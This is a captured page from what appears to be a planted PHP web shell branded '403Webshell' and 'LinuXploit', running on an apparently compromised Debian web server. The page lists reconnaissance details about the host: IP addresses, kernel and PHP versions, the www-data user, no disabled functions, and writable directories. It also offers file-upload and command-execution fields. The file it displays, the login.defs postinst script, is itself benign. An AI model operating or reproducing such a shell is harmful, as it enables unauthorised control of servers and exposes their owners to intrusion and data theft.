403Webshell
Server IP : 45.33.98.47  /  Your IP : 216.73.217.106
Web Server : Apache/2.4.66 (Debian)
System : Linux 8783c923f53b 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/login.defs.postinst
#!/bin/sh

set -e

_adopt_conffile() {
    conffile=$1
    pkg=$2

    [ -f ${conffile}.dpkg-bak ] || return 0

    md5sum="$(md5sum ${conffile} | sed -e 's/ .*//')"
    old_md5sum="$(dpkg-query -W -f='${Conffiles}' $pkg | \
                        sed -n -e "\' ${conffile} ' { s/ obsolete$//; s/.* //; p }")"
    # On new installs, if the conffile was preserved on upgrade by
    # dpkg-maintscript helper, copy it back if the new file has not been
    # modified yet
    if [ "$md5sum" = "$old_md5sum" ]; then
        mv ${conffile}.dpkg-bak ${conffile}
    fi
}

if [ "$1" = configure ] && [ -z "$2" ]; then
    _adopt_conffile /etc/login.defs login.defs
fi



Youez - 2016 - github.com/yon3zu
LinuXploit